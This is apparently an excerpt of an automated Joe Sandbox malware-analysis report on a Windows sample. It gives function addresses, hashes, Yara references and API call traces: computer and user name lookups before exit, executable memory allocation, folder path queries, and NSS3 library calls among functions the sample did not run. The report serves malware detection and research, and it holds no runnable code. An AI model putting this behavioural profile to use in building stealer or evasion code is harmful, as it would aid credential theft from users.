Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$memcmp
String ID:
API String ID: 3457870978-0
Opcode ID: 04597a1a4700bb87f84fe877493173834368dd82cfdda0848269127907334de9
Instruction ID: c2aab531b6d1589b2901015c2e0c980bab240bd3eaf22537cfc633f1a089e248
Opcode Fuzzy Hash: 04597a1a4700bb87f84fe877493173834368dd82cfdda0848269127907334de9
Instruction Fuzzy Hash: E8E1F172910118FBEB15FBA0DC9BEEE7378AF54300F414169F14676092EF786A49CB62

Function 0072AEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

lstrlenA.KERNEL32(00000000), ref: 0072B16A
lstrlenA.KERNEL32(00000000), ref: 0072B17E

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 6471fa555cc8c04f2923abcb5b67ef80473684f0606e9c056ffa53e24daca8f9
Instruction ID: 6d0e280cf228ad788c2e5d8cad72aee6f8a329e0414e5598c7731913100e9296
Opcode Fuzzy Hash: 6471fa555cc8c04f2923abcb5b67ef80473684f0606e9c056ffa53e24daca8f9
Instruction Fuzzy Hash: 9791F472910118FBEB05FBA0DC5BEEE7378AF54300F404169F546B6092EF786A49CB62

Function 0072B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Part of subcall function 0073A9B0: lstrlenA.KERNEL32(?,00741110,?,00000000,00740AEF), ref: 0073A9C5
Part of subcall function 0073A9B0: lstrcpy.KERNEL32(00000000), ref: 0073AA04
Part of subcall function 0073A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0073AA12

Part of subcall function 0073A920: lstrcpy.KERNEL32(00000000,?), ref: 0073A972
Part of subcall function 0073A920: lstrcatA.KERNEL32(00000000), ref: 0073A982

Part of subcall function 0073A8A0: lstrcpy.KERNEL32(?,t), ref: 0073A905

lstrlenA.KERNEL32(00000000), ref: 0072B42E
lstrlenA.KERNEL32(00000000), ref: 0072B442

Part of subcall function 0073A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0073A7E6

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 09ddcea06d08715935526a428c4e233a06d637b01736a00b6d8f936b498804a8
Instruction ID: 4fecc46af7aa72873706a3a8c3a2952694239ca29f15e164f2a6434e7eff9314
Opcode Fuzzy Hash: 09ddcea06d08715935526a428c4e233a06d637b01736a00b6d8f936b498804a8
Instruction Fuzzy Hash: 06712672910118FBEB05FBA0DC9BDEE7378BF54300F414528F542A6192EF786A09DB62

Function 00726660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00726DBE,00726DBE,00003000,00000040), ref: 00726706
VirtualAlloc.KERNEL32(00000000,00726DBE,00003000,00000040), ref: 00726753

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: d0fe00cd1ad6b167fb1f71d9f83ad30b6b71d3df200bca05515a48d35888154e
Instruction ID: e04137787c059514497ad1330465c10a7b83ce88ec0347aa8ce646aa96d9be51
Opcode Fuzzy Hash: d0fe00cd1ad6b167fb1f71d9f83ad30b6b71d3df200bca05515a48d35888154e
Instruction Fuzzy Hash: 1A410B74A00208EFCB44CF98D494BADBBB1FF48314F2482A9E8099B341D735EA81CF84

Function 007210A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0072114E,?,?,00736A1C), ref: 007210B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0072114E,?,?,00736A1C), ref: 007210F7

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 5398380a64dc78963f9425ce28ec6486b3b2e366d239757fd1f952539dc5ba34
Instruction ID: 5d09113ffb916c9f4da26129adfe7d600f04fa57cbb6d0c41cf013ea9f7dd81b
Opcode Fuzzy Hash: 5398380a64dc78963f9425ce28ec6486b3b2e366d239757fd1f952539dc5ba34
Instruction Fuzzy Hash: AEF02771641318BBE7149BA4AC49FBFB7ECE705B15F301448F504E3280D572AF00DAA1

Function 00738D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00730117,?,00000000,?,00000000,00740DAB,00740DAA), ref: 00738D9F

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: cbb103d9ec5ef8f497e113b8d34aa004fc7506c269adad3f1fa8515a72eadea8
Instruction ID: ebb1809512c48a6042649c8d43f769d78e7509a80c3888dbbd3ed3b65559c228
Opcode Fuzzy Hash: cbb103d9ec5ef8f497e113b8d34aa004fc7506c269adad3f1fa8515a72eadea8
Instruction Fuzzy Hash: 96F01571D00208FBEB00EFA4D54A6DCBB74EB14310F108199E8666B3C2DB785A45DF82

Function 00738DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00738E0B

Part of subcall function 0073A740: lstrcpy.KERNEL32(t,00000000), ref: 0073A788

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 0cfb1926415dae5a78a04c279a7117ad4b6dbe6c704a50ab95bae6d0d5ee66f6
Instruction ID: 5df802b9853108ac0738c68f1984b6a6debf9511c27dba9b1007f9f80b586617
Opcode Fuzzy Hash: 0cfb1926415dae5a78a04c279a7117ad4b6dbe6c704a50ab95bae6d0d5ee66f6
Instruction Fuzzy Hash: 68E0123194034CBBEB91DB50CC96FAD737C9B44B01F004295BA0C5B1C1DE74AB858B91

Function 00721190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 007378E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00736A2B), ref: 00737910
Part of subcall function 007378E0: HeapAlloc.KERNEL32(00000000,?,?,?,00736A2B), ref: 00737917
Part of subcall function 007378E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0073792F

Part of subcall function 00737850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007211B7), ref: 00737880
Part of subcall function 00737850: HeapAlloc.KERNEL32(00000000,?,?,?,007211B7), ref: 00737887
Part of subcall function 00737850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0073789F

ExitProcess.KERNEL32 ref: 007211C6

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 82e01e04f84db30282135143e7da25857a65cd9b594a998177c5b359122d5043
Instruction ID: df8b0e5d23b879ac2a959284da097ae451eee020af0df6ffad3ff870136941ce
Opcode Fuzzy Hash: 82e01e04f84db30282135143e7da25857a65cd9b594a998177c5b359122d5043
Instruction Fuzzy Hash: 12E012F592830993EA1473B4FC0EB2A329C6B24345F440429FA05E2113FEBDF810D967

Function 00729880 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000020,00730759,?,?), ref: 00729888

Memory Dump Source

Source File: 00000000.00000002.1831599975.0000000000721000.00000080.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000000.00000002.1831561661.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831639049.000000000073E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831674983.000000000074B000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000076A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007AF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007B2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007D1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000007DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.0000000000802000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000080F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000082F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000083E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008E5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1831713551.000000000096A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1832186716.000000000097C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_720000_Eae0KTw4m1.jbxd

Yara matches

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: f64cf734b2420344d00e15bd8d085360f682e034416893df12e9c12a7cdb241a
Instruction ID: 1b226823e0933922b3d15236cc1bafb3bd07f4c9c8a6d0e7d0317040c56782a2
Opcode Fuzzy Hash: f64cf734b2420344d00e15bd8d085360f682e034416893df12e9c12a7cdb241a
Instruction Fuzzy Hash: 3DF019B5D40208FFDB04EFE4D946B9DB7B4EB08300F148599FA1597281E675AB14CB91

Non-executed Functions

Function 6C6F6E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C842120,6C6F7E60), ref: 6C6F6EBC
TlsGetValue.KERNEL32 ref: 6C6F6EDF
EnterCriticalSection.KERNEL32(?), ref: 6C6F6EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C6F6F25

Part of subcall function 6C6CA900: TlsGetValue.KERNEL32(00000000,?,6C8414E4,?,6C664DD9), ref: 6C6CA90F
Part of subcall function 6C6CA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C6CA94F

PR_Unlock.NSS3 ref: 6C6F6F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C6F6FA9
TlsGetValue.KERNEL32 ref: 6C6F70B4
EnterCriticalSection.KERNEL32(?), ref: 6C6F70C8
PR_CallOnce.NSS3(6C8424C0,6C737590), ref: 6C6F7104
